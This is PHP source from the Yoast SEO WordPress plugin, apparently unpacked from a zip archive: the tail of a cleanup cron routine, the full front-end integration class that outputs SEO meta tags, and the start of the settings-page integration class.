			$this->reset_cleanup();

			return;
		}

		$limit = $this->get_limit();
		$tasks = $this->get_cleanup_tasks();

		// The task may have been added by a filter that has been removed, in that case just start over.
		if ( ! isset( $tasks[ $current_task_name ] ) ) {
			$current_task_name = \key( $tasks );
		}

		$current_task = \current( $tasks );
		while ( $current_task !== false ) {
			// Skip the tasks that have already been done.
			if ( \key( $tasks ) !== $current_task_name ) {
				$current_task = \next( $tasks );
				continue;
			}

			// Call the cleanup callback function that accompanies the current task.
			$items_cleaned = $current_task( $limit );

			if ( $items_cleaned === false ) {
				$this->reset_cleanup();

				return;
			}

			if ( $items_cleaned === 0 ) {
				// Check if we are finished with all tasks.
				if ( \next( $tasks ) === false ) {
					$this->reset_cleanup();

					return;
				}

				// Continue with the next task next time the cron job is run.
				\update_option( self::CURRENT_TASK_OPTION, \key( $tasks ) );

				return;
			}

			// There were items deleted for the current task, continue with the same task next cron call.
			return;
		}
	}
}
PK       ! .A  A    front-end-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations;

use WP_HTML_Tag_Processor;
use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Presenter;
use Yoast\WP\SEO\Presenters\Debug\Marker_Close_Presenter;
use Yoast\WP\SEO\Presenters\Debug\Marker_Open_Presenter;
use Yoast\WP\SEO\Presenters\Title_Presenter;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Class Front_End_Integration.
 */
class Front_End_Integration implements Integration_Interface {

	/**
	 * The memoizer for the meta tags context.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	private $context_memoizer;

	/**
	 * The container.
	 *
	 * @var ContainerInterface
	 */
	protected $container;

	/**
	 * Represents the options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * The helpers surface.
	 *
	 * @var Helpers_Surface
	 */
	protected $helpers;

	/**
	 * The replace vars helper.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	protected $replace_vars;

	/**
	 * The presenters we loop through on each page load.
	 *
	 * @var string[]
	 */
	protected $base_presenters = [
		'Title',
		'Meta_Description',
		'Robots',
	];

	/**
	 * The presenters we loop through on each page load.
	 *
	 * @var string[]
	 */
	protected $indexing_directive_presenters = [
		'Canonical',
		'Rel_Prev',
		'Rel_Next',
	];

	/**
	 * The Open Graph specific presenters.
	 *
	 * @var string[]
	 */
	protected $open_graph_presenters = [
		'Open_Graph\Locale',
		'Open_Graph\Type',
		'Open_Graph\Title',
		'Open_Graph\Description',
		'Open_Graph\Url',
		'Open_Graph\Site_Name',
		'Open_Graph\Article_Publisher',
		'Open_Graph\Article_Author',
		'Open_Graph\Article_Published_Time',
		'Open_Graph\Article_Modified_Time',
		'Open_Graph\Image',
		'Meta_Author',
	];

	/**
	 * The Open Graph specific presenters that should be output on error pages.
	 *
	 * @var array<string>
	 */
	protected $open_graph_error_presenters = [
		'Open_Graph\Locale',
		'Open_Graph\Title',
		'Open_Graph\Site_Name',
	];

	/**
	 * The Twitter card specific presenters.
	 *
	 * @var array<string>
	 */
	protected $twitter_card_presenters = [
		'Twitter\Card',
		'Twitter\Title',
		'Twitter\Description',
		'Twitter\Image',
		'Twitter\Creator',
		'Twitter\Site',
	];

	/**
	 * The Slack specific presenters.
	 *
	 * @var array<string>
	 */
	protected $slack_presenters = [
		'Slack\Enhanced_Data',
	];

	/**
	 * The Webmaster verification specific presenters.
	 *
	 * @var array<string>
	 */
	protected $webmaster_verification_presenters = [
		'Webmaster\Baidu',
		'Webmaster\Bing',
		'Webmaster\Google',
		'Webmaster\Pinterest',
		'Webmaster\Yandex',
	];

	/**
	 * Presenters that are only needed on singular pages.
	 *
	 * @var array<string>
	 */
	protected $singular_presenters = [
		'Meta_Author',
		'Open_Graph\Article_Author',
		'Open_Graph\Article_Publisher',
		'Open_Graph\Article_Published_Time',
		'Open_Graph\Article_Modified_Time',
		'Twitter\Creator',
		'Slack\Enhanced_Data',
	];

	/**
	 * The presenters we want to be last in our output.
	 *
	 * @var array<string>
	 */
	protected $closing_presenters = [
		'Schema',
	];

	/**
	 * The next output.
	 *
	 * @var string
	 */
	protected $next;

	/**
	 * The prev output.
	 *
	 * @var string
	 */
	protected $prev;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string> The conditionals.
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Front_End_Integration constructor.
	 *
	 * @codeCoverageIgnore It sets dependencies.
	 *
	 * @param Meta_Tags_Context_Memoizer $context_memoizer  The meta tags context memoizer.
	 * @param ContainerInterface         $service_container The DI container.
	 * @param Options_Helper             $options           The options helper.
	 * @param Helpers_Surface            $helpers           The helpers surface.
	 * @param WPSEO_Replace_Vars         $replace_vars      The replace vars helper.
	 */
	public function __construct(
		Meta_Tags_Context_Memoizer $context_memoizer,
		ContainerInterface $service_container,
		Options_Helper $options,
		Helpers_Surface $helpers,
		WPSEO_Replace_Vars $replace_vars
	) {
		$this->container        = $service_container;
		$this->context_memoizer = $context_memoizer;
		$this->options          = $options;
		$this->helpers          = $helpers;
		$this->replace_vars     = $replace_vars;
	}

	/**
	 * Registers the appropriate hooks to show the SEO metadata on the frontend.
	 *
	 * Removes some actions to remove metadata that WordPress shows on the frontend,
	 * to avoid duplicate and/or mismatched metadata.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'render_block', [ $this, 'query_loop_next_prev' ], 1, 2 );

		\add_action( 'wp_head', [ $this, 'call_wpseo_head' ], 1 );
		// Filter the title for compatibility with other plugins and themes.
		\add_filter( 'wp_title', [ $this, 'filter_title' ], 15 );
		// Filter the title for compatibility with block-based themes.
		\add_filter( 'pre_get_document_title', [ $this, 'filter_title' ], 15 );

		// Removes our robots presenter from the list when wp_robots is handling this.
		\add_filter( 'wpseo_frontend_presenter_classes', [ $this, 'filter_robots_presenter' ] );

		\add_action( 'wpseo_head', [ $this, 'present_head' ], -9999 );

		\remove_action( 'wp_head', 'rel_canonical' );
		\remove_action( 'wp_head', 'index_rel_link' );
		\remove_action( 'wp_head', 'start_post_rel_link' );
		\remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head' );
		\remove_action( 'wp_head', 'noindex', 1 );
		\remove_action( 'wp_head', '_wp_render_title_tag', 1 );
		\remove_action( 'wp_head', '_block_template_render_title_tag', 1 );
		\remove_action( 'wp_head', 'gutenberg_render_title_tag', 1 );
	}

	/**
	 * Filters the title, mainly used for compatibility reasons.
	 *
	 * @return string
	 */
	public function filter_title() {
		$context = $this->context_memoizer->for_current_page();

		$title_presenter = new Title_Presenter();

		/** This filter is documented in src/integrations/front-end-integration.php */
		$title_presenter->presentation = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );
		$title_presenter->replace_vars = $this->replace_vars;
		$title_presenter->helpers      = $this->helpers;

		\remove_filter( 'pre_get_document_title', [ $this, 'filter_title' ], 15 );
		$title = \esc_html( $title_presenter->get() );
		\add_filter( 'pre_get_document_title', [ $this, 'filter_title' ], 15 );

		return $title;
	}

	/**
	 * Filters the next and prev links in the query loop block.
	 *
	 * @param string                   $html  The HTML output.
	 * @param array<string|array|null> $block The block.
	 * @return string The filtered HTML output.
	 */
	public function query_loop_next_prev( $html, $block ) {
		if ( $block['blockName'] === 'core/query' ) {
			// Check that the query does not inherit the main query.
			if ( isset( $block['attrs']['query']['inherit'] ) && ! $block['attrs']['query']['inherit'] ) {
				\add_filter( 'wpseo_adjacent_rel_url', [ $this, 'adjacent_rel_url' ], 1, 3 );
			}
		}

		if ( $block['blockName'] === 'core/query-pagination-next' ) {
			$this->next = $html;
		}

		if ( $block['blockName'] === 'core/query-pagination-previous' ) {
			$this->prev = $html;
		}

		return $html;
	}

	/**
	 * Returns correct adjacent pages when Query loop block does not inherit query from template.
	 * Prioritizes existing prev and next links.
	 * Includes a safety check for full urls though it is not expected in the query pagination block.
	 *
	 * @param string                      $link         The current link.
	 * @param string                      $rel          Link relationship, prev or next.
	 * @param Indexable_Presentation|null $presentation The indexable presentation.
	 *
	 * @return string The correct link.
	 */
	public function adjacent_rel_url( $link, $rel, $presentation = null ) {
		// Prioritize existing prev and next links.
		if ( $link ) {
			return $link;
		}

		// Safety check for rel value.
		if ( $rel !== 'next' && $rel !== 'prev' ) {
			return $link;
		}

		// Check $this->next or $this->prev for existing links.
		if ( \is_null( $this->$rel ) ) {
			return $link;
		}

		$processor = new WP_HTML_Tag_Processor( $this->$rel );

		if ( ! $processor->next_tag( [ 'tag_name' => 'a' ] ) ) {
			return $link;
		}

		$href = $processor->get_attribute( 'href' );

		if ( ! $href ) {
			return $link;
		}

		// Safety check for full url, not expected.
		if ( \strpos( $href, 'http' ) === 0 ) {
			return $href;
		}

		// Check if $href is relative and append last part of the url to permalink.
		if ( \strpos( $href, '/' ) === 0 ) {
			$href_parts = \explode( '/', $href );
			return $presentation->permalink . \end( $href_parts );
		}

		return $link;
	}

	/**
	 * Filters our robots presenter, but only when wp_robots is attached to the wp_head action.
	 *
	 * @param array<string> $presenters The presenters for current page.
	 *
	 * @return array<string> The filtered presenters.
	 */
	public function filter_robots_presenter( $presenters ) {
		if ( ! \function_exists( 'wp_robots' ) ) {
			return $presenters;
		}

		if ( ! \has_action( 'wp_head', 'wp_robots' ) ) {
			return $presenters;
		}

		if ( \wp_is_serving_rest_request() ) {
			return $presenters;
		}

		return \array_diff( $presenters, [ 'Yoast\\WP\\SEO\\Presenters\\Robots_Presenter' ] );
	}

	/**
	 * Presents the head in the front-end. Resets wp_query if it's not the main query.
	 *
	 * @codeCoverageIgnore It just calls a WordPress function.
	 *
	 * @return void
	 */
	public function call_wpseo_head() {
		global $wp_query;

		$old_wp_query = $wp_query;
		// phpcs:ignore WordPress.WP.DiscouragedFunctions.wp_reset_query_wp_reset_query -- Reason: The recommended function, wp_reset_postdata, doesn't reset wp_query.
		\wp_reset_query();

		\do_action( 'wpseo_head' );

		// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the query.
		$GLOBALS['wp_query'] = $old_wp_query;
	}

	/**
	 * Echoes all applicable presenters for a page.
	 *
	 * @return void
	 */
	public function present_head() {
		$context    = $this->context_memoizer->for_current_page();
		$presenters = $this->get_presenters( $context->page_type, $context );

		/**
		 * Filter 'wpseo_frontend_presentation' - Allow filtering the presentation used to output our meta values.
		 *
		 * @param Indexable_Presention $presentation The indexable presentation.
		 * @param Meta_Tags_Context    $context      The meta tags context for the current page.
		 */
		$presentation = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );

		echo \PHP_EOL;
		foreach ( $presenters as $presenter ) {
			$presenter->presentation = $presentation;
			$presenter->helpers      = $this->helpers;
			$presenter->replace_vars = $this->replace_vars;

			$output = $presenter->present();
			if ( ! empty( $output ) ) {
				// phpcs:ignore WordPress.Security.EscapeOutput -- Presenters are responsible for correctly escaping their output.
				echo "\t" . $output . \PHP_EOL;
			}
		}
		echo \PHP_EOL . \PHP_EOL;
	}

	/**
	 * Returns all presenters for this page.
	 *
	 * @param string                 $page_type The page type.
	 * @param Meta_Tags_Context|null $context   The meta tags context for the current page.
	 *
	 * @return Abstract_Indexable_Presenter[] The presenters.
	 */
	public function get_presenters( $page_type, $context = null ) {
		if ( \is_null( $context ) ) {
			$context = $this->context_memoizer->for_current_page();
		}

		$needed_presenters = $this->get_needed_presenters( $page_type );

		$callback   = static function ( $presenter ) {
			if ( ! \class_exists( $presenter ) ) {
				return null;
			}
			return new $presenter();
		};
		$presenters = \array_filter( \array_map( $callback, $needed_presenters ) );

		/**
		 * Filter 'wpseo_frontend_presenters' - Allow filtering the presenter instances in or out of the request.
		 *
		 * @param Abstract_Indexable_Presenter[] $presenters List of presenter instances.
		 * @param Meta_Tags_Context              $context    The meta tags context for the current page.
		 */
		$presenter_instances = \apply_filters( 'wpseo_frontend_presenters', $presenters, $context );

		if ( ! \is_array( $presenter_instances ) ) {
			$presenter_instances = $presenters;
		}

		$is_presenter_callback = static function ( $presenter_instance ) {
			return $presenter_instance instanceof Abstract_Indexable_Presenter;
		};
		$presenter_instances   = \array_filter( $presenter_instances, $is_presenter_callback );

		return \array_merge(
			[ new Marker_Open_Presenter() ],
			$presenter_instances,
			[ new Marker_Close_Presenter() ]
		);
	}

	/**
	 * Generate the array of presenters we need for the current request.
	 *
	 * @param string $page_type The page type we're retrieving presenters for.
	 *
	 * @return string[] The presenters.
	 */
	private function get_needed_presenters( $page_type ) {
		$presenters = $this->get_presenters_for_page_type( $page_type );

		$presenters = $this->maybe_remove_title_presenter( $presenters );

		$callback   = static function ( $presenter ) {
			return "Yoast\WP\SEO\Presenters\\{$presenter}_Presenter";
		};
		$presenters = \array_map( $callback, $presenters );

		/**
		 * Filter 'wpseo_frontend_presenter_classes' - Allow filtering presenters in or out of the request.
		 *
		 * @param array  $presenters List of presenters.
		 * @param string $page_type  The current page type.
		 */
		$presenters = \apply_filters( 'wpseo_frontend_presenter_classes', $presenters, $page_type );

		return $presenters;
	}

	/**
	 * Filters the presenters based on the page type.
	 *
	 * @param string $page_type The page type.
	 *
	 * @return string[] The presenters.
	 */
	private function get_presenters_for_page_type( $page_type ) {
		if ( $page_type === 'Error_Page' ) {
			$presenters = $this->base_presenters;
			if ( $this->options->get( 'opengraph' ) === true ) {
				$presenters = \array_merge( $presenters, $this->open_graph_error_presenters );
			}
			return \array_merge( $presenters, $this->closing_presenters );
		}

		$presenters = $this->get_all_presenters();
		if ( \in_array( $page_type, [ 'Static_Home_Page', 'Home_Page' ], true ) ) {
			$presenters = \array_merge( $presenters, $this->webmaster_verification_presenters );
		}

		// Filter out the presenters only needed for singular pages on non-singular pages.
		if ( ! \in_array( $page_type, [ 'Post_Type', 'Static_Home_Page' ], true ) ) {
			$presenters = \array_diff( $presenters, $this->singular_presenters );
		}

		// Filter out `twitter:data` presenters for static home pages.
		if ( $page_type === 'Static_Home_Page' ) {
			$presenters = \array_diff( $presenters, $this->slack_presenters );
		}

		return $presenters;
	}

	/**
	 * Returns a list of all available presenters based on settings.
	 *
	 * @return string[] The presenters.
	 */
	private function get_all_presenters() {
		$presenters = \array_merge( $this->base_presenters, $this->indexing_directive_presenters );
		if ( $this->options->get( 'opengraph' ) === true ) {
			$presenters = \array_merge( $presenters, $this->open_graph_presenters );
		}
		if ( $this->options->get( 'twitter' ) === true && \apply_filters( 'wpseo_output_twitter_card', true ) !== false ) {
			$presenters = \array_merge( $presenters, $this->twitter_card_presenters );
		}
		if ( $this->options->get( 'enable_enhanced_slack_sharing' ) === true && \apply_filters( 'wpseo_output_enhanced_slack_data', true ) !== false ) {
			$presenters = \array_merge( $presenters, $this->slack_presenters );
		}

		return \array_merge( $presenters, $this->closing_presenters );
	}

	/**
	 * Whether the title presenter should be removed.
	 *
	 * @return bool True when the title presenter should be removed, false otherwise.
	 */
	public function should_title_presenter_be_removed() {
		return ! \get_theme_support( 'title-tag' ) && ! $this->options->get( 'forcerewritetitle', false );
	}

	/**
	 * Checks if the Title presenter needs to be removed.
	 *
	 * @param string[] $presenters The presenters.
	 *
	 * @return string[] The presenters.
	 */
	private function maybe_remove_title_presenter( $presenters ) {
		// Do not remove the title if we're on a REST request.
		if ( \wp_is_serving_rest_request() ) {
			return $presenters;
		}

		// Remove the title presenter if the theme is hardcoded to output a title tag so we don't have two title tags.
		if ( $this->should_title_presenter_be_removed() ) {
			$presenters = \array_diff( $presenters, [ 'Title' ] );
		}

		return $presenters;
	}
}
PK       ! /I  I    settings-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations;

use WP_Post;
use WP_Post_Type;
use WP_Taxonomy;
use WP_User;
use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use WPSEO_Admin_Editor_Specific_Replace_Vars;
use WPSEO_Admin_Recommended_Replace_Vars;
use WPSEO_Option_Titles;
use WPSEO_Options;
use WPSEO_Replace_Vars;
use WPSEO_Shortlinker;
use WPSEO_Sitemaps_Router;
use Yoast\WP\SEO\Conditionals\Settings_Conditional;
use Yoast\WP\SEO\Config\Schema_Types;
use Yoast\WP\SEO\Content_Type_Visibility\Application\Content_Type_Visibility_Dismiss_Notifications;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Language_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Schema\Article_Helper;
use Yoast\WP\SEO\Helpers\Taxonomy_Helper;
use Yoast\WP\SEO\Helpers\User_Helper;
use Yoast\WP\SEO\Helpers\Woocommerce_Helper;
use Yoast\WP\SEO\Promotions\Application\Promotion_Manager;

/**
 * Class Settings_Integration.
 */
class Settings_Integration implements Integration_Interface {

	public const PAGE = 'wpseo_page_settings';

	/**
	 * Holds the included WordPress options.
	 *
	 * @var string[]
	 */
	public const WP_OPTIONS = [ 'blogdescription' ];

	/**
	 * Holds the allowed option groups.
	 *
	 * @var array
	 */
	public const ALLOWED_OPTION_GROUPS = [ 'wpseo', 'wpseo_titles', 'wpseo_social' ];

	/**
	 * Holds the disallowed settings, per option group.
	 *
	 * @var array
	 */
	public const DISALLOWED_SETTINGS = [
		'wpseo'        => [
			'myyoast-oauth',
			'semrush_tokens',
			'custom_taxonomy_slugs',
			'import_cursors',
			'workouts_data',
			'configuration_finished_steps',
			'importing_completed',
			'wincher_tokens',
			'least_readability_ignore_list',
			'least_seo_score_ignore_list',
			'most_linked_ignore_list',
			'least_linked_ignore_list',
			'indexables_page_reading_list',
			'show_new_content_type_notification',
			'new_post_types',
			'new_taxonomies',
		],
		'wpseo_titles' => [
			'company_logo_meta',
			'person_logo_meta',
		],
	];

	/**
	 * Holds the disabled on multisite settings, per option group.
	 *
	 * @var array
	 */
	public const DISABLED_ON_MULTISITE_SETTINGS = [
		'wpseo' => [
			'deny_search_crawling',
			'deny_wp_json_crawling',
			'deny_adsbot_crawling',
			'deny_ccbot_crawling',
			'deny_google_extended_crawling',
			'deny_gptbot_crawling',
		],
	];

	/**
	 * Holds the WPSEO_Admin_Asset_Manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Holds the WPSEO_Replace_Vars.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	protected $replace_vars;

	/**
	 * Holds the Schema_Types.
	 *
	 * @var Schema_Types
	 */
	protected $schema_types;

	/**
	 * Holds the Current_Page_Helper.
	 *
	 * @var Current_Page_Helper
	 */
	protected $current_page_helper;

	/**
	 * Holds the Post_Type_Helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * Holds the Language_Helper.
	 *
	 * @var Language_Helper
	 */
	protected $language_helper;

	/**
	 * Holds the Taxonomy_Helper.
	 *
	 * @var Taxonomy_Helper
	 */
	protected $taxonomy_helper;

	/**
	 * Holds the Product_Helper.
	 *
	 * @var Product_Helper
	 */
	protected $product_helper;

	/**
	 * Holds the Woocommerce_Helper.
	 *
	 * @var Woocommerce_Helper
	 */
	protected $woocommerce_helper;

	/**
	 * Holds the Article_Helper.
	 *
	 * @var Article_Helper
	 */
	protected $article_helper;

	/**
	 * Holds the User_Helper.
	 *
	 * @var User_Helper
	 */
	protected $user_helper;

	/**
	 * Holds the Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * Holds the Content_Type_Visibility_Dismiss_Notifications instance.
	 *
	 * @var Content_Type_Visibility_Dismiss_Notifications
	 */
	protected $content_type_visibility;

	/**
	 * Constructs Settings_Integration.
	 *
	 * @param WPSEO_Admin_Asset_Manager                     $asset_manager           The WPSEO_Admin_Asset_Manager.
	 * @param WPSEO_Replace_Vars                            $replace_vars            The WPSEO_Replace_Vars.
	 * @param Schema_Types                                  $schema_types            The Schema_Types.
	 * @param Current_Page_Helper                           $current_page_helper     The Current_Page_Helper.
	 * @param Post_Type_Helper                              $post_type_helper        The Post_Type_Helper.
	 * @param Language_Helper                               $language_helper         The Language_Helper.
	 * @param Taxonomy_Helper                               $taxonomy_helper         The Taxonomy_Helper.
	 * @param Product_Helper                                $product_helper          The Product_Helper.
	 * @param Woocommerce_Helper                            $woocommerce_helper      The Woocommerce_Helper.
	 * @param Article_Helper                                $article_helper          The Article_Helper.
	 * @param User_Helper                                   $user_helper             The User_Helper.
	 * @param Options_Helper                                $options                 The options helper.
	 * @param Content_Type_Visibility_Dismiss_Notifications $content_type_visibility The Content_Type_Visibility_Dismiss_Notifications instance.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		WPSEO_Replace_Vars $replace_vars,
		Schema_Types $schema_types,
		Current_Page_Helper $current_page_helper,
		Post_Type_Helper $post_type_helper,
		Language_Helper $language_helper,
		Taxonomy_Helper $taxonomy_helper,
		Product_Helper $product_helper,
		Woocommerce_Helper $woocommerce_helper,
		Article_Helper $article_helper,
		User_Helper $user_helper,
		Options_Helper $options,
		Content_Type_Visibility_Dismiss_Notifications $content_type_visibility
	) {
		$this->asset_manager           = $asset_manager;
		$this->replace_vars            = $replace_vars;
		$this->schema_types            = $schema_types;
		$this->current_page_helper     = $current_page_helper;
		$this->taxonomy_helper         = $taxonomy_helper;
		$this->post_type_helper        = $post_type_helper;
		$this->language_helper         = $language_helper;
		$this->product_helper          = $product_helper;
		$this->woocommerce_helper      = $woocommerce_helper;
		$this->article_helper          = $article_helper;
		$this->user_helper             = $user_helper;
		$this->options                 = $options;
		$this->content_type_visibility = $content_type_visibility;
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Settings_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Add page.
		\add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ] );
		\add_filter( 'admin_menu', [ $this, 'add_settings_saved_page' ] );

		// Are we saving the settings?
		if ( $this->current_page_helper->get_current_admin_page() === 'options.php' ) {
			$post_action = '';
			// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
			if ( isset( $_POST['action'] ) && \is_string( $_POST['action'] ) ) {
				// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information.
				$post_action = \wp_unslash( $_POST['action'] );
			}
			$option_page = '';
			// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
			if ( isset( $_POST['option_page'] ) && \is_string( $_POST['option_page'] ) ) {
				// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information.
				$option_page = \wp_unslash( $_POST['option_page'] );
			}

			if ( $post_action === 'update' && $option_page === self::PAGE ) {
				\add_action( 'admin_init', [ $this, 'register_setting' ] );
				\add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX );
			}

			return;
		}

		// Are we on the settings page?
		if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) {
			\add_action( 'admin_init', [ $this, 'register_setting' ] );
			\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
			\add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX );
		}
	}

	/**
	 * Registers the different options under the setting.
	 *
	 * @return void
	 */
	public function register_setting() {
		foreach ( WPSEO_Options::$options as $name => $instance ) {
			if ( \in_array( $name, self::ALLOWED_OPTION_GROUPS, true ) ) {
				\register_setting( self::PAGE, $name );
			}
		}
		// Only register WP options when the user is allowed to manage them.
		if ( \current_user_can( 'manage_options' ) ) {
			foreach ( self::WP_OPTIONS as $name ) {
				\register_setting( self::PAGE, $name );
			}
		}
	}

	/**
	 * Adds the page.
	 *
	 * @param array $pages The pages.
	 *
	 * @return array The pages.
	 */
	public function add_page( $pages ) {
		\array_splice(
			$pages,
			1,
			0,
			[
				[
					'wpseo_dashboard',
					'',
					\__( 'Settings', 'wordpress-seo' ),
					'wpseo_manage_options',
					self::PAGE,
					[ $this, 'display_page' ],
				],
			]
		);

		return $pages;
	}

	/**
	 * Adds a dummy page.
	 *
	 * Because the options route NEEDS to redirect to something.
	 *
	 * @param array $pages The pages.
	 *
	 * @return array The pages.
	 */
	public function add_settings_saved_page( $pages ) {
		\add_submenu_page(
			'',
			'',
			'',
			'wpseo_manage_options',
			self::PAGE . '_saved',
			static function () {
				// Add success indication to HTML response.
				$success = empty( \get_settings_errors() ) ? 'true' : 'false';
				echo \esc_html( "{{ yoast-success: $success }}" );
			}
		);

		return $pages;
	}

	/**
	 * Displays the page.
	 *
	 * @return void
	 */
	public function display_page() {
		echo '<div id="yoast-seo-settings"></div>';
	}

	/**
	 * Enqueues the assets.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// Remove the emoji script as it is incompatible with both React and any contenteditable fields.
		\remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
		\wp_enqueue_media();
		$this->asset_manager->enqueue_script( 'new-settings' );
		$this->asset_manager->enqueue_style( 'new-settings' );
		if ( \YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2024-promotion' ) ) {
			$this->asset_manager->enqueue_style( 'black-friday-banner' );
		}
		$this->asset_manager->localize_script( 'new-settings', 'wpseoScriptData', $this->get_script_data() );
	}

	/**
	 * Removes all current WP notices.
	 *
	 * @return void
	 */
	public function remove_notices() {
		\remove_all_actions( 'admin_notices' );
		\remove_all_actions( 'user_admin_notices' );
		\remove_all_actions( 'network_admin_notices' );
		\remove_all_actions( 'all_admin_notices' );
	}

	/**
	 * Creates the script data.
	 *
	 * @return array The script data.
	 */
	protected function get_script_data() {
		$default_setting_values = $this->get_default_setting_values();
		$settings               = $this->get_settings( $default_setting_values );
		$post_types             = $this->post_type_helper->get_indexable_post_type_objects();
		$taxonomies             = $this->taxonomy_helper->get_indexable_taxonomy_objects();

		// Check if attachments are included in indexation.
		if ( ! \array_key_exists( 'attachment', $post_types ) ) {
			// Always include attachments in the settings, to let the user enable them again.
			$attachment_object = \get_post_type_object( 'attachment' );
			if ( ! empty( $attachment_object ) ) {
				$post_types['attachment'] = $attachment_object;
			}
		}
		// Check if post formats are included in indexation.
		if ( ! \array_key_exists( 'post_format', $taxonomies ) ) {
			// Always include post_format in the settings, to let the user enable them again.
			$post_format_object = \get_taxonomy( 'post_format' );
			if ( ! empty( $post_format_object ) ) {
				$taxonomies['post_format'] = $post_format_object;
			}
		}

		$transformed_post_types = $this->transform_post_types( $post_types );
		$transformed_taxonomies = $this->transform_taxonomies( $taxonomies, \array_keys( $transformed_post_types ) );

		// Check if there is a new content type to show notification only once in the settings.
		$show_new_content_type_notification = $this->content_type_visibility->maybe_add_settings_notification();

		return [
			'settings'                       => $this->transform_settings( $settings ),
			'defaultSettingValues'           => $default_setting_values,
			'disabledSettings'               => $this->get_disabled_settings( $settings ),
			'endpoint'                       => \admin_url( 'options.php' ),
			'nonce'                          => \wp_create_nonce( self::PAGE . '-options' ),
			'separators'                     => WPSEO_Option_Titles::get_instance()->get_separator_options_for_display(),
			'replacementVariables'           => $this->get_replacement_variables(),
			'schema'                         => $this->get_schema( $transformed_post_types ),
			'preferences'                    => $this->get_preferences( $settings ),
			'linkParams'                     => WPSEO_Shortlinker::get_query_params(),
			'postTypes'                      => $transformed_post_types,
			'taxonomies'                     => $transformed_taxonomies,
			'fallbacks'                      => $this->get_fallbacks(),
			'showNewContentTypeNotification' => $show_new_content_type_notification,
			'currentPromotions'              => \YoastSEO()->classes->get( Promotion_Manager::class )->get_current_promotions(),
		];
	}

	/**
	 * Retrieves the preferences.
	 *
	 * @param array $settings The settings.
	 *
	 * @return array The preferences.
	 */
	protected function get_preferences( $settings ) {
		$shop_page_id             = $this->woocommerce_helper->get_shop_page_id();
		$homepage_is_latest_posts = \get_option( 'show_on_front' ) === 'posts';
		$page_on_front            = \get_option( 'page_on_front' );
		$page_for_posts           = \get_option( 'page_for_posts' );

		$addon_manager          = new WPSEO_Addon_Manager();
		$woocommerce_seo_active = \is_plugin_active( $addon_manager->get_plugin_file( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) );

		if ( empty( $page_on_front ) ) {
			$page_on_front = $page_for_posts;
		}

		$business_settings_url = \get_admin_url( null, 'admin.php?page=wpseo_local' );
		if ( \defined( 'WPSEO_LOCAL_FILE' ) ) {
			$local_options      = \get_option( 'wpseo_local' );
			$multiple_locations = $local_options['use_multiple_locations'];
			$same_organization  = $local_options['multiple_locations_same_organization'];
			if ( $multiple_locations === 'on' && $same_organization !== 'on' ) {
				$business_settings_url = \get_admin_url( null, 'edit.php?post_type=wpseo_locations' );
			}
		}

		return [
			'isPremium'                     => $this->product_helper->is_premium(),
			'isRtl'                         => \is_rtl(),
			'isNetworkAdmin'                => \is_network_admin(),
			'isMainSite'                    => \is_main_site(),
			'isMultisite'                   => \is_multisite(),
			'isWooCommerceActive'           => $this->woocommerce_helper->is_active(),
			'isLocalSeoActive'              => \defined( 'WPSEO_LOCAL_FILE' ),
			'isNewsSeoActive'               => \defined( 'WPSEO_NEWS_FILE' ),
			'isWooCommerceSEOActive'        => $woocommerce_seo_active,
			'siteUrl'                       => \get_bloginfo( 'url' ),
			'siteTitle'                     => \get_bloginfo( 'name' ),
